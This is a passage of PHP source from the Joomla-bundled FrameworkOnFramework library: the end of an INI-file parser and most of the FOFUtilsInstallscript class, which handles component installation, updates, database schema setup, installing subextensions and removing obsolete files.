* Thanks to asohn ~at~ aircanopy ~dot~ net for posting this handy
function on
* the parse_ini_file page on http://gr.php.net/parse_ini_file
*
* @param string $file Filename to process
* @param bool $process_sections True to also process INI sections
* @param bool $rawdata If true, the $file contains raw INI
data, not a filename
*
* @return array An associative array of sections, keys and values
*/
static function parse_ini_file_php($file, $process_sections = false,
$rawdata = false)
{
$process_sections = ($process_sections !== true) ? false : true;
if (!$rawdata)
{
$ini = file($file);
}
else
{
$file = str_replace("\r", "", $file);
$ini = explode("\n", $file);
}
if (count($ini) == 0)
{
return array();
}
$sections = array();
$values = array();
$result = array();
$globals = array();
$i = 0;
foreach ($ini as $line)
{
$line = trim($line);
$line = str_replace("\t", " ", $line);
// Comments
if (!preg_match('/^[a-zA-Z0-9[]/', $line))
{
continue;
}
// Sections
if ($line[0] == '[')
{
$tmp = explode(']', $line);
$sections[] = trim(substr($tmp[0], 1));
$i++;
continue;
}
// Key-value pair
$lineParts = explode('=', $line, 2);
if (count($lineParts) != 2)
{
continue;
}
$key = trim($lineParts[0]);
$value = trim($lineParts[1]);
unset($lineParts);
if (strstr($value, ";"))
{
$tmp = explode(';', $value);
if (count($tmp) == 2)
{
if ((($value[0] != '"') && ($value[0] !=
"'")) ||
preg_match('/^".*"\s*;/', $value) ||
preg_match('/^".*;[^"]*$/', $value) ||
preg_match("/^'.*'\s*;/", $value) ||
preg_match("/^'.*;[^']*$/", $value)
)
{
$value = $tmp[0];
}
}
else
{
if ($value[0] == '"')
{
$value = preg_replace('/^"(.*)".*/',
'$1', $value);
}
elseif ($value[0] == "'")
{
$value = preg_replace("/^'(.*)'.*/",
'$1', $value);
}
else
{
$value = $tmp[0];
}
}
}
$value = trim($value);
$value = trim($value, "'\"");
if ($i == 0)
{
if (substr($line, -1, 2) == '[]')
{
$globals[$key][] = $value;
}
else
{
$globals[$key] = $value;
}
}
else
{
if (substr($line, -1, 2) == '[]')
{
$values[$i - 1][$key][] = $value;
}
else
{
$values[$i - 1][$key] = $value;
}
}
}
for ($j = 0; $j < $i; $j++)
{
if ($process_sections === true)
{
if (isset($sections[$j]) && isset($values[$j]))
{
$result[$sections[$j]] = $values[$j];
}
}
else
{
if (isset($values[$j]))
{
$result[] = $values[$j];
}
}
}
return $result + $globals;
}
} <?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no longer
reflects the original work of its author.
*/
defined('FOF_INCLUDED') or die;
JLoader::import('joomla.filesystem.folder');
JLoader::import('joomla.filesystem.file');
JLoader::import('joomla.installer.installer');
JLoader::import('joomla.utilities.date');
/**
* A helper class which you can use to create component installation
scripts
*/
abstract class FOFUtilsInstallscript
{
/**
* The component's name
*
* @var string
*/
protected $componentName = 'com_foobar';
/**
* The title of the component (printed on installation and uninstallation
messages)
*
* @var string
*/
protected $componentTitle = 'Foobar Component';
/**
* The list of extra modules and plugins to install on component
installation / update and remove on component
* uninstallation.
*
* @var array
*/
protected $installation_queue = array(
// modules => { (folder) => { (module) => { (position),
(published) } }* }*
'modules' => array(
'admin' => array(),
'site' => array()
),
// plugins => { (folder) => { (element) => (published) }* }*
'plugins' => array(
'system' => array(),
)
);
/**
* The list of obsolete extra modules and plugins to uninstall on
component upgrade / installation.
*
* @var array
*/
protected $uninstallation_queue = array(
// modules => { (folder) => { (module) }* }*
'modules' => array(
'admin' => array(),
'site' => array()
),
// plugins => { (folder) => { (element) }* }*
'plugins' => array(
'system' => array(),
)
);
/**
* Obsolete files and folders to remove from the free version only. This
is used when you move a feature from the
* free version of your extension to its paid version. If you don't
have such a distinction you can ignore this.
*
* @var array
*/
protected $removeFilesFree = array(
'files' => array(
// Use pathnames relative to your site's root, e.g.
// 'administrator/components/com_foobar/helpers/whatever.php'
),
'folders' => array(
// Use pathnames relative to your site's root, e.g.
// 'administrator/components/com_foobar/baz'
)
);
/**
* Obsolete files and folders to remove from both paid and free releases.
This is used when you refactor code and
* some files inevitably become obsolete and need to be removed.
*
* @var array
*/
protected $removeFilesAllVersions = array(
'files' => array(
// Use pathnames relative to your site's root, e.g.
// 'administrator/components/com_foobar/helpers/whatever.php'
),
'folders' => array(
// Use pathnames relative to your site's root, e.g.
// 'administrator/components/com_foobar/baz'
)
);
/**
* A list of scripts to be copied to the "cli" directory of the
site
*
* @var array
*/
protected $cliScriptFiles = array(
// Use just the filename, e.g.
// 'my-cron-script.php'
);
/**
* The path inside your package where cli scripts are stored
*
* @var string
*/
protected $cliSourcePath = 'cli';
/**
* The path inside your package where FOF is stored
*
* @var string
*/
protected $fofSourcePath = 'fof';
/**
* The path inside your package where Akeeba Strapper is stored
*
* @var string
*/
protected $strapperSourcePath = 'strapper';
/**
* The path inside your package where extra modules are stored
*
* @var string
*/
protected $modulesSourcePath = 'modules';
/**
* The path inside your package where extra plugins are stored
*
* @var string
*/
protected $pluginsSourcePath = 'plugins';
/**
* Is the schemaXmlPath class variable a relative path? If set to true the
schemaXmlPath variable contains a path
* relative to the component's back-end directory. If set to false
the schemaXmlPath variable contains an absolute
* filesystem path.
*
* @var boolean
*/
protected $schemaXmlPathRelative = true;
/**
* The path where the schema XML files are stored. Its contents depend on
the schemaXmlPathRelative variable above
* true => schemaXmlPath contains a path relative to the
component's back-end directory
* false => schemaXmlPath contains an absolute filesystem path
*
* @var string
*/
protected $schemaXmlPath = 'sql/xml';
/**
* The minimum PHP version required to install this extension
*
* @var string
*/
protected $minimumPHPVersion = '5.3.3';
/**
* The minimum Joomla! version required to install this extension
*
* @var string
*/
protected $minimumJoomlaVersion = '2.5.6';
/**
* The maximum Joomla! version this extension can be installed on
*
* @var string
*/
protected $maximumJoomlaVersion = '3.9.99';
/**
* Is this the paid version of the extension? This only determines which
files / extensions will be removed.
*
* @var boolean
*/
protected $isPaid = false;
/**
* Post-installation message definitions for Joomla! 3.2 or later.
*
* This array contains the message definitions for the Post-installation
Messages component added in Joomla! 3.2 and
* later versions. Each element is also a hashed array. For the keys used
in these message definitions please
* @see FOFUtilsInstallscript::addPostInstallationMessage
*
* @var array
*/
protected $postInstallationMessages = array();
/**
* Joomla! pre-flight event. This runs before Joomla! installs or updates
the component. This is our last chance to
* tell Joomla! if it should abort the installation.
*
* @param string $type Installation type (install, update,
discover_install)
* @param JInstaller $parent Parent object
*
* @return boolean True to let the installation proceed, false to halt
the installation
*/
public function preflight($type, $parent)
{
// Check the minimum PHP version
if (!empty($this->minimumPHPVersion))
{
if (defined('PHP_VERSION'))
{
$version = PHP_VERSION;
}
elseif (function_exists('phpversion'))
{
$version = phpversion();
}
else
{
$version = '5.0.0'; // all bets are off!
}
if (!version_compare($version, $this->minimumPHPVersion,
'ge'))
{
$msg = "<p>You need PHP $this->minimumPHPVersion or later
to install this component</p>";
if (version_compare(JVERSION, '3.0', 'gt'))
{
JLog::add($msg, JLog::WARNING, 'jerror');
}
else
{
JError::raiseWarning(100, $msg);
}
return false;
}
}
// Check the minimum Joomla! version
if (!empty($this->minimumJoomlaVersion) &&
!version_compare(JVERSION, $this->minimumJoomlaVersion, 'ge'))
{
$msg = "<p>You need Joomla! $this->minimumJoomlaVersion or
later to install this component</p>";
if (version_compare(JVERSION, '3.0', 'gt'))
{
JLog::add($msg, JLog::WARNING, 'jerror');
}
else
{
JError::raiseWarning(100, $msg);
}
return false;
}
// Check the maximum Joomla! version
if (!empty($this->maximumJoomlaVersion) &&
!version_compare(JVERSION, $this->maximumJoomlaVersion, 'le'))
{
$msg = "<p>You need Joomla! $this->maximumJoomlaVersion or
earlier to install this component</p>";
if (version_compare(JVERSION, '3.0', 'gt'))
{
JLog::add($msg, JLog::WARNING, 'jerror');
}
else
{
JError::raiseWarning(100, $msg);
}
return false;
}
// Always reset the OPcache if it's enabled. Otherwise there's
a good chance the server will not know we are
// replacing .php scripts. This is a major concern since PHP 5.5 included
and enabled OPcache by default.
if (function_exists('opcache_reset'))
{
opcache_reset();
}
// Workarounds for JInstaller issues
if (in_array($type, array('install',
'discover_install')))
{
// Bugfix for "Database function returned no error"
$this->bugfixDBFunctionReturnedNoError();
}
else
{
// Bugfix for "Can not build admin menus"
$this->bugfixCantBuildAdminMenus();
}
return true;
}
/**
* Runs after install, update or discover_update. In other words, it
executes after Joomla! has finished installing
* or updating your component. This is the last chance you've got to
perform any additional installations, clean-up,
* database updates and similar housekeeping functions.
*
* @param string $type install, update or discover_update
* @param JInstaller $parent Parent object
*/
public function postflight($type, $parent)
{
// Install or update database
$dbInstaller = new FOFDatabaseInstaller(array(
'dbinstaller_directory' =>
($this->schemaXmlPathRelative ? JPATH_ADMINISTRATOR .
'/components/' . $this->componentName : '') .
'/' .
$this->schemaXmlPath
));
$dbInstaller->updateSchema();
// Install subextensions
$status = $this->installSubextensions($parent);
// Install FOF
$fofInstallationStatus = $this->installFOF($parent);
// Install Akeeba Straper
$strapperInstallationStatus = $this->installStrapper($parent);
// Make sure menu items are installed
$this->_createAdminMenus($parent);
// Make sure menu items are published (surprise goal in the 92' by
JInstaller wins the cup for "most screwed up
// bug in the history of Joomla!")
$this->_reallyPublishAdminMenuItems($parent);
// Which files should I remove?
if ($this->isPaid)
{
// This is the paid version, only remove the removeFilesAllVersions
files
$removeFiles = $this->removeFilesAllVersions;
}
else
{
// This is the free version, remove the removeFilesAllVersions and
removeFilesFree files
$removeFiles = array('files' => array(),
'folders' => array());
if (isset($this->removeFilesAllVersions['files']))
{
if (isset($this->removeFilesFree['files']))
{
$removeFiles['files'] =
array_merge($this->removeFilesAllVersions['files'],
$this->removeFilesFree['files']);
}
else
{
$removeFiles['files'] =
$this->removeFilesAllVersions['files'];
}
}
elseif (isset($this->removeFilesFree['files']))
{
$removeFiles['files'] =
$this->removeFilesFree['files'];
}
if (isset($this->removeFilesAllVersions['folders']))
{
if (isset($this->removeFilesFree['folders']))
{
$removeFiles['folders'] =
array_merge($this->removeFilesAllVersions['folders'],
$this->removeFilesFree['folders']);
}
else
{
$removeFiles['folders'] =
$this->removeFilesAllVersions['folders'];
}
}
elseif (isset($this->removeFilesFree['folders']))
{
$removeFiles['folders'] =
$this->removeFilesFree['folders'];
}
}
// Remove obsolete files and folders
$this->removeFilesAndFolders($removeFiles);
// Copy the CLI files (if any)
$this->copyCliFiles($parent);
// Show the post-installation page
$this->renderPostInstallation($status, $fofInstallationStatus,
$strapperInstallationStatus, $parent);
// Uninstall obsolete subextensions
$uninstall_status = $this->uninstallObsoleteSubextensions($parent);
// Clear the FOF cache
$platform = FOFPlatform::getInstance();
if (method_exists($platform, 'clearCache'))
{
FOFPlatform::getInstance()->clearCache();
}
// Make sure the Joomla! menu structure is correct
$this->_rebuildMenu();
// Add post-installation messages on Joomla! 3.2 and later
$this->_applyPostInstallationMessages();
}
/**
* Runs on uninstallation
*
* @param JInstaller $parent The parent object
*/
public function uninstall($parent)
{
// Uninstall database
$dbInstaller = new FOFDatabaseInstaller(array(
'dbinstaller_directory' =>
($this->schemaXmlPathRelative ? JPATH_ADMINISTRATOR .
'/components/' . $this->componentName : '') .
'/' .
$this->schemaXmlPath
));
$dbInstaller->removeSchema();
// Uninstall modules and plugins
$status = $this->uninstallSubextensions($parent);
// Uninstall post-installation messages on Joomla! 3.2 and later
$this->uninstallPostInstallationMessages();
// Show the post-uninstallation page
$this->renderPostUninstallation($status, $parent);
}
/**
* Copies the CLI scripts into Joomla!'s cli directory
*
* @param JInstaller $parent
*/
protected function copyCliFiles($parent)
{
$src = $parent->getParent()->getPath('source');
$cliPath = JPATH_ROOT . '/cli';
if (!JFolder::exists($cliPath))
{
JFolder::create($cliPath);
}
foreach ($this->cliScriptFiles as $script)
{
if (JFile::exists($cliPath . '/' . $script))
{
JFile::delete($cliPath . '/' . $script);
}
if (JFile::exists($src . '/' . $this->cliSourcePath .
'/' . $script))
{
JFile::copy($src . '/' . $this->cliSourcePath .
'/' . $script, $cliPath . '/' . $script);
}
}
}
/**
* Renders the message after installing or upgrading the component
*/
protected function renderPostInstallation($status, $fofInstallationStatus,
$strapperInstallationStatus, $parent)
{
$rows = 0;
?>
<table class="adminlist table table-striped"
width="100%">
<thead>
<tr>
<th class="title"
colspan="2">Extension</th>
<th width="30%">Status</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="3"></td>
</tr>
</tfoot>
<tbody>
<tr class="row<?php echo($rows++ % 2); ?>">
<td class="key" colspan="2"><?php echo
$this->componentTitle ?></td>
<td><strong style="color:
green">Installed</strong></td>
</tr>
<?php if ($fofInstallationStatus['required']): ?>
<tr class="row<?php echo($rows++ % 2); ?>">
<td class="key" colspan="2">
<strong>Framework on Framework (FOF) <?php echo
$fofInstallationStatus['version'] ?></strong>
[<?php echo $fofInstallationStatus['date'] ?>]
</td>
<td><strong>
<span
style="color: <?php echo
$fofInstallationStatus['required'] ?
($fofInstallationStatus['installed'] ? 'green' :
'red') : '#660' ?>; font-weight: bold;">
<?php echo $fofInstallationStatus['required'] ?
($fofInstallationStatus['installed'] ? 'Installed' :
'Not Installed') : 'Already up-to-date'; ?>
</span>
</strong></td>
</tr>
<?php endif; ?>
<?php if ($strapperInstallationStatus['required']): ?>
<tr class="row<?php echo($rows++ % 2); ?>">
<td class="key" colspan="2">
<strong>Akeeba Strapper <?php echo
$strapperInstallationStatus['version'] ?></strong>
[<?php echo $strapperInstallationStatus['date'] ?>]
</td>
<td><strong>
<span
style="color: <?php echo
$strapperInstallationStatus['required'] ?
($strapperInstallationStatus['installed'] ? 'green' :
'red') : '#660' ?>; font-weight: bold;">
<?php echo $strapperInstallationStatus['required'] ?
($strapperInstallationStatus['installed'] ? 'Installed'
: 'Not Installed') : 'Already up-to-date'; ?>
</span>
</strong></td>
</tr>
<?php endif; ?>
<?php if (count($status->modules)) : ?>
<tr>
<th>Module</th>
<th>Client</th>
<th></th>
</tr>
<?php foreach ($status->modules as $module) : ?>
<tr class="row<?php echo($rows++ % 2); ?>">
<td class="key"><?php echo
$module['name']; ?></td>
<td class="key"><?php echo
ucfirst($module['client']); ?></td>
<td><strong
style="color: <?php echo ($module['result']) ?
"green" : "red" ?>"><?php echo
($module['result']) ? 'Installed' : 'Not
installed'; ?></strong>
</td>
</tr>
<?php endforeach; ?>
<?php endif; ?>
<?php if (count($status->plugins)) : ?>
<tr>
<th>Plugin</th>
<th>Group</th>
<th></th>
</tr>
<?php foreach ($status->plugins as $plugin) : ?>
<tr class="row<?php echo($rows++ % 2); ?>">
<td class="key"><?php echo
ucfirst($plugin['name']); ?></td>
<td class="key"><?php echo
ucfirst($plugin['group']); ?></td>
<td><strong
style="color: <?php echo ($plugin['result']) ?
"green" : "red" ?>"><?php echo
($plugin['result']) ? 'Installed' : 'Not
installed'; ?></strong>
</td>
</tr>
<?php endforeach; ?>
<?php endif; ?>
</tbody>
</table>
<?php
}
/**
* Renders the message after uninstalling the component
*/
protected function renderPostUninstallation($status, $parent)
{
$rows = 1;
?>
<table class="adminlist table table-striped"
width="100%">
<thead>
<tr>
<th class="title" colspan="2"><?php echo
JText::_('Extension'); ?></th>
<th width="30%"><?php echo
JText::_('Status'); ?></th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="3"></td>
</tr>
</tfoot>
<tbody>
<tr class="row<?php echo($rows++ % 2); ?>">
<td class="key" colspan="2"><?php echo
$this->componentTitle; ?></td>
<td><strong style="color:
green">Removed</strong></td>
</tr>
<?php if (count($status->modules)) : ?>
<tr>
<th>Module</th>
<th>Client</th>
<th></th>
</tr>
<?php foreach ($status->modules as $module) : ?>
<tr class="row<?php echo($rows++ % 2); ?>">
<td class="key"><?php echo
$module['name']; ?></td>
<td class="key"><?php echo
ucfirst($module['client']); ?></td>
<td><strong
style="color: <?php echo ($module['result']) ?
"green" : "red" ?>"><?php echo
($module['result']) ? 'Removed' : 'Not
removed'; ?></strong>
</td>
</tr>
<?php endforeach; ?>
<?php endif; ?>
<?php if (count($status->plugins)) : ?>
<tr>
<th>Plugin</th>
<th>Group</th>
<th></th>
</tr>
<?php foreach ($status->plugins as $plugin) : ?>
<tr class="row<?php echo($rows++ % 2); ?>">
<td class="key"><?php echo
ucfirst($plugin['name']); ?></td>
<td class="key"><?php echo
ucfirst($plugin['group']); ?></td>
<td><strong
style="color: <?php echo ($plugin['result']) ?
"green" : "red" ?>"><?php echo
($plugin['result']) ? 'Removed' : 'Not
removed'; ?></strong>
</td>
</tr>
<?php endforeach; ?>
<?php endif; ?>
</tbody>
</table>
<?php
}
/**
* Bugfix for "DB function returned no error"
*/
protected function bugfixDBFunctionReturnedNoError()
{
$db = FOFPlatform::getInstance()->getDbo();
// Fix broken #__assets records
$query = $db->getQuery(true);
$query->select('id')
->from('#__assets')
->where($db->qn('name') . ' = ' .
$db->q($this->componentName));
$db->setQuery($query);
try
{
$ids = $db->loadColumn();
}
catch (Exception $exc)
{
return;
}
if (!empty($ids))
{
foreach ($ids as $id)
{
$query = $db->getQuery(true);
$query->delete('#__assets')
->where($db->qn('id') . ' = ' .
$db->q($id));
$db->setQuery($query);
try
{
$db->execute();
}
catch (Exception $exc)
{
// Nothing
}
}
}
// Fix broken #__extensions records
$query = $db->getQuery(true);
$query->select('extension_id')
->from('#__extensions')
->where($db->qn('type') . ' = ' .
$db->q('component'))
->where($db->qn('element') . ' = ' .
$db->q($this->componentName));
$db->setQuery($query);
$ids = $db->loadColumn();
if (!empty($ids))
{
foreach ($ids as $id)
{
$query = $db->getQuery(true);
$query->delete('#__extensions')
->where($db->qn('extension_id') . ' = ' .
$db->q($id));
$db->setQuery($query);
try
{
$db->execute();
}
catch (Exception $exc)
{
// Nothing
}
}
}
// Fix broken #__menu records
$query = $db->getQuery(true);
$query->select('id')
->from('#__menu')
->where($db->qn('type') . ' = ' .
$db->q('component'))
->where($db->qn('menutype') . ' = ' .
$db->q('main'))
->where($db->qn('link') . ' LIKE ' .
$db->q('index.php?option=' . $this->componentName));
$db->setQuery($query);
$ids = $db->loadColumn();
if (!empty($ids))
{
foreach ($ids as $id)
{
$query = $db->getQuery(true);
$query->delete('#__menu')
->where($db->qn('id') . ' = ' .
$db->q($id));
$db->setQuery($query);
try
{
$db->execute();
}
catch (Exception $exc)
{
// Nothing
}
}
}
}
/**
* Joomla! 1.6+ bugfix for "Can not build admin menus"
*/
protected function bugfixCantBuildAdminMenus()
{
$db = FOFPlatform::getInstance()->getDbo();
// If there are multiple #__extensions record, keep one of them
$query = $db->getQuery(true);
$query->select('extension_id')
->from('#__extensions')
->where($db->qn('type') . ' = ' .
$db->q('component'))
->where($db->qn('element') . ' = ' .
$db->q($this->componentName));
$db->setQuery($query);
try
{
$ids = $db->loadColumn();
}
catch (Exception $exc)
{
return;
}
if (count($ids) > 1)
{
asort($ids);
$extension_id = array_shift($ids); // Keep the oldest id
foreach ($ids as $id)
{
$query = $db->getQuery(true);
$query->delete('#__extensions')
->where($db->qn('extension_id') . ' = ' .
$db->q($id));
$db->setQuery($query);
try
{
$db->execute();
}
catch (Exception $exc)
{
// Nothing
}
}
}
// If there are multiple assets records, delete all except the oldest one
$query = $db->getQuery(true);
$query->select('id')
->from('#__assets')
->where($db->qn('name') . ' = ' .
$db->q($this->componentName));
$db->setQuery($query);
$ids = $db->loadObjectList();
if (count($ids) > 1)
{
asort($ids);
$asset_id = array_shift($ids); // Keep the oldest id
foreach ($ids as $id)
{
$query = $db->getQuery(true);
$query->delete('#__assets')
->where($db->qn('id') . ' = ' .
$db->q($id));
$db->setQuery($query);
try
{
$db->execute();
}
catch (Exception $exc)
{
// Nothing
}
}
}
// Remove #__menu records for good measure! –– I think this is not
necessary and causes the menu item to
// disappear on extension update.
/**
$query = $db->getQuery(true);
$query->select('id')
->from('#__menu')
->where($db->qn('type') . ' = ' .
$db->q('component'))
->where($db->qn('menutype') . ' = ' .
$db->q('main'))
->where($db->qn('link') . ' LIKE ' .
$db->q('index.php?option=' . $this->componentName));
$db->setQuery($query);
try
{
$ids1 = $db->loadColumn();
}
catch (Exception $exc)
{
$ids1 = array();
}
if (empty($ids1))
{
$ids1 = array();
}
$query = $db->getQuery(true);
$query->select('id')
->from('#__menu')
->where($db->qn('type') . ' = ' .
$db->q('component'))
->where($db->qn('menutype') . ' = ' .
$db->q('main'))
->where($db->qn('link') . ' LIKE ' .
$db->q('index.php?option=' . $this->componentName .
'&%'));
$db->setQuery($query);
try
{
$ids2 = $db->loadColumn();
}
catch (Exception $exc)
{
$ids2 = array();
}
if (empty($ids2))
{
$ids2 = array();
}
$ids = array_merge($ids1, $ids2);
if (!empty($ids))
{
foreach ($ids as $id)
{
$query = $db->getQuery(true);
$query->delete('#__menu')
->where($db->qn('id') . ' = ' .
$db->q($id));
$db->setQuery($query);
try
{
$db->execute();
}
catch (Exception $exc)
{
// Nothing
}
}
}
/**/
}
/**
* Installs subextensions (modules, plugins) bundled with the main
extension
*
* @param JInstaller $parent
*
* @return JObject The subextension installation status
*/
protected function installSubextensions($parent)
{
$src = $parent->getParent()->getPath('source');
$db = FOFPlatform::getInstance()->getDbo();;
$status = new JObject();
$status->modules = array();
$status->plugins = array();
// Modules installation
if (isset($this->installation_queue['modules']) &&
count($this->installation_queue['modules']))
{
foreach ($this->installation_queue['modules'] as $folder
=> $modules)
{
if (count($modules))
{
foreach ($modules as $module => $modulePreferences)
{
// Install the module
if (empty($folder))
{
$folder = 'site';
}
$path = "$src/" . $this->modulesSourcePath .
"/$folder/$module";
if (!is_dir($path))
{
$path = "$src/" . $this->modulesSourcePath .
"/$folder/mod_$module";
}
if (!is_dir($path))
{
$path = "$src/" . $this->modulesSourcePath .
"/$module";
}
if (!is_dir($path))
{
$path = "$src/" . $this->modulesSourcePath .
"/mod_$module";
}
if (!is_dir($path))
{
continue;
}
// Was the module already installed?
$sql = $db->getQuery(true)
->select('COUNT(*)')
->from('#__modules')
->where($db->qn('module') . ' = ' .
$db->q('mod_' . $module));
$db->setQuery($sql);
try
{
$count = $db->loadResult();
}
catch (Exception $exc)
{
$count = 0;
}
$installer = new JInstaller;
$result = $installer->install($path);
$status->modules[] = array(
'name' => 'mod_' . $module,
'client' => $folder,
'result' => $result
);
// Modify where it's published and its published state
if (!$count)
{
// A. Position and state
list($modulePosition, $modulePublished) = $modulePreferences;
$sql = $db->getQuery(true)
->update($db->qn('#__modules'))
->set($db->qn('position') . ' = ' .
$db->q($modulePosition))
->where($db->qn('module') . ' = ' .
$db->q('mod_' . $module));
if ($modulePublished)
{
$sql->set($db->qn('published') . ' = ' .
$db->q('1'));
}
$db->setQuery($sql);
try
{
$db->execute();
}
catch (Exception $exc)
{
// Nothing
}
// B. Change the ordering of back-end modules to 1 + max ordering
if ($folder == 'admin')
{
try
{
$query = $db->getQuery(true);
$query->select('MAX(' .
$db->qn('ordering') . ')')
->from($db->qn('#__modules'))
->where($db->qn('position') . '=' .
$db->q($modulePosition));
$db->setQuery($query);
$position = $db->loadResult();
$position++;
$query = $db->getQuery(true);
$query->update($db->qn('#__modules'))
->set($db->qn('ordering') . ' = ' .
$db->q($position))
->where($db->qn('module') . ' = ' .
$db->q('mod_' . $module));
$db->setQuery($query);
$db->execute();
}
catch (Exception $exc)
{
// Nothing
}
}
// C. Link to all pages
try
{
$query = $db->getQuery(true);
$query->select('id')->from($db->qn('#__modules'))
->where($db->qn('module') . ' = ' .
$db->q('mod_' . $module));
$db->setQuery($query);
$moduleid = $db->loadResult();
$query = $db->getQuery(true);
$query->select('*')->from($db->qn('#__modules_menu'))
->where($db->qn('moduleid') . ' = ' .
$db->q($moduleid));
$db->setQuery($query);
$assignments = $db->loadObjectList();
$isAssigned = !empty($assignments);
if (!$isAssigned)
{
$o = (object)array(
'moduleid' => $moduleid,
'menuid' => 0
);
$db->insertObject('#__modules_menu', $o);
}
}
catch (Exception $exc)
{
// Nothing
}
}
}
}
}
}
// Plugins installation
if (isset($this->installation_queue['plugins']) &&
count($this->installation_queue['plugins']))
{
foreach ($this->installation_queue['plugins'] as $folder
=> $plugins)
{
if (count($plugins))
{
foreach ($plugins as $plugin => $published)
{
$path = "$src/" . $this->pluginsSourcePath .
"/$folder/$plugin";
if (!is_dir($path))
{
$path = "$src/" . $this->pluginsSourcePath .
"/$folder/plg_$plugin";
}
if (!is_dir($path))
{
$path = "$src/" . $this->pluginsSourcePath .
"/$plugin";
}
if (!is_dir($path))
{
$path = "$src/" . $this->pluginsSourcePath .
"/plg_$plugin";
}
if (!is_dir($path))
{
continue;
}
// Was the plugin already installed?
$query = $db->getQuery(true)
->select('COUNT(*)')
->from($db->qn('#__extensions'))
->where($db->qn('element') . ' = ' .
$db->q($plugin))
->where($db->qn('folder') . ' = ' .
$db->q($folder));
$db->setQuery($query);
try
{
$count = $db->loadResult();
}
catch (Exception $exc)
{
$count = 0;
}
$installer = new JInstaller;
$result = $installer->install($path);
$status->plugins[] = array('name' => 'plg_'
. $plugin, 'group' => $folder, 'result' =>
$result);
if ($published && !$count)
{
$query = $db->getQuery(true)
->update($db->qn('#__extensions'))
->set($db->qn('enabled') . ' = ' .
$db->q('1'))
->where($db->qn('element') . ' = ' .
$db->q($plugin))
->where($db->qn('folder') . ' = ' .
$db->q($folder));
$db->setQuery($query);
try
{
$db->execute();
}
catch (Exception $exc)
{
// Nothing
}
}
}
}
}
}
// Clear com_modules and com_plugins cache (needed when we alter
module/plugin state)
FOFUtilsCacheCleaner::clearPluginsAndModulesCache();
return $status;
}
/**
* Uninstalls subextensions (modules, plugins) bundled with the main
extension
*
* @param JInstaller $parent The parent object
*
* @return stdClass The subextension uninstallation status
*/
protected function uninstallSubextensions($parent)
{
$db = FOFPlatform::getInstance()->getDbo();
$status = new stdClass();
$status->modules = array();
$status->plugins = array();
$src = $parent->getParent()->getPath('source');
// Modules uninstallation
if (isset($this->installation_queue['modules']) &&
count($this->installation_queue['modules']))
{
foreach ($this->installation_queue['modules'] as $folder
=> $modules)
{
if (count($modules))
{
foreach ($modules as $module => $modulePreferences)
{
// Find the module ID
$sql = $db->getQuery(true)
->select($db->qn('extension_id'))
->from($db->qn('#__extensions'))
->where($db->qn('element') . ' = ' .
$db->q('mod_' . $module))
->where($db->qn('type') . ' = ' .
$db->q('module'));
$db->setQuery($sql);
try
{
$id = $db->loadResult();
}
catch (Exception $exc)
{
$id = 0;
}
// Uninstall the module
if ($id)
{
$installer = new JInstaller;
$result = $installer->uninstall('module', $id, 1);
$status->modules[] = array(
'name' => 'mod_' . $module,
'client' => $folder,
'result' => $result
);
}
}
}
}
}
// Plugins uninstallation
if (isset($this->installation_queue['plugins']) &&
count($this->installation_queue['plugins']))
{
foreach ($this->installation_queue['plugins'] as $folder
=> $plugins)
{
if (count($plugins))
{
foreach ($plugins as $plugin => $published)
{
$sql = $db->getQuery(true)
->select($db->qn('extension_id'))
->from($db->qn('#__extensions'))
->where($db->qn('type') . ' = ' .
$db->q('plugin'))
->where($db->qn('element') . ' = ' .
$db->q($plugin))
->where($db->qn('folder') . ' = ' .
$db->q($folder));
$db->setQuery($sql);
try
{
$id = $db->loadResult();
}
catch (Exception $exc)
{
$id = 0;
}
if ($id)
{
$installer = new JInstaller;
$result = $installer->uninstall('plugin', $id, 1);
$status->plugins[] = array(
'name' => 'plg_' . $plugin,
'group' => $folder,
'result' => $result
);
}
}
}
}
}
// Clear com_modules and com_plugins cache (needed when we alter
module/plugin state)
FOFUtilsCacheCleaner::clearPluginsAndModulesCache();
return $status;
}
/**
* Removes obsolete files and folders
*
* @param array $removeList The files and directories to remove
*/
protected function removeFilesAndFolders($removeList)
{
// Remove files
if (isset($removeList['files']) &&
!empty($removeList['files']))
{
foreach ($removeList['files'] as $file)
{
$f = JPATH_ROOT . '/' . $file;
if (!JFile::exists($f))
{
continue;
}
JFile::delete($f);
}
}
// Remove folders
if (isset($removeList['folders']) &&
!empty($removeList['folders']))
{
foreach ($removeList['folders'] as $folder)
{
$f = JPATH_ROOT . '/' . $folder;
if (!JFolder::exists($f))
{
continue;
}
JFolder::delete($f);
}
}
}
/**
* Installs FOF if necessary
*
* @param JInstaller $parent The parent object
*
* @return array The installation status
*/
protected function installFOF($parent)
{
// Get the source path
$src = $parent->getParent()->getPath('source');
$source = $src . '/' . $this->fofSourcePath;
if (!JFolder::exists($source))
{
return array(
'required' => false,
'installed' => false,
'version' => '0.0.0',
'date' => '2011-01-01',
);
}
// Get the target path
if (!defined('JPATH_LIBRARIES'))
{
$target = JPATH_ROOT . '/libraries/f0f';
}
else
{
$target = JPATH_LIBRARIES . '/f0f';
}
// Do I have to install FOF?
$haveToInstallFOF = false;
if (!JFolder::exists($target))
{
// FOF is not installed; install now
$haveToInstallFOF = true;
}
else
{
// FOF is already installed; check the version
$fofVersion = array();
if (JFile::exists($target . '/version.txt'))
{
$rawData = JFile::read($target . '/version.txt');
$rawData = ($rawData === false) ? "0.0.0\n2011-01-01\n" :
$rawData;
$info = explode("\n", $rawData);
$fofVersion['installed'] = array(
'version' => trim($info[0]),
'date' => new JDate(trim($info[1]))
);
}
else
{
$fofVersion['installed'] = array(
'version' => '0.0',
'date' => new JDate('2011-01-01')
);
}
$rawData = @file_get_contents($source . '/version.txt');
$rawData = ($rawData === false) ? "0.0.0\n2011-01-01\n" :
$rawData;
$info = explode("\n", $rawData);
$fofVersion['package'] = array(
'version' => trim($info[0]),
'date' => new JDate(trim($info[1]))
);
$haveToInstallFOF =
$fofVersion['package']['date']->toUNIX() >
$fofVersion['installed']['date']->toUNIX();
}
$installedFOF = false;
if ($haveToInstallFOF)
{
$versionSource = 'package';
$installer = new JInstaller;
$installedFOF = $installer->install($source);
}
else
{
$versionSource = 'installed';
}
if (!isset($fofVersion))
{
$fofVersion = array();
if (JFile::exists($target . '/version.txt'))
{
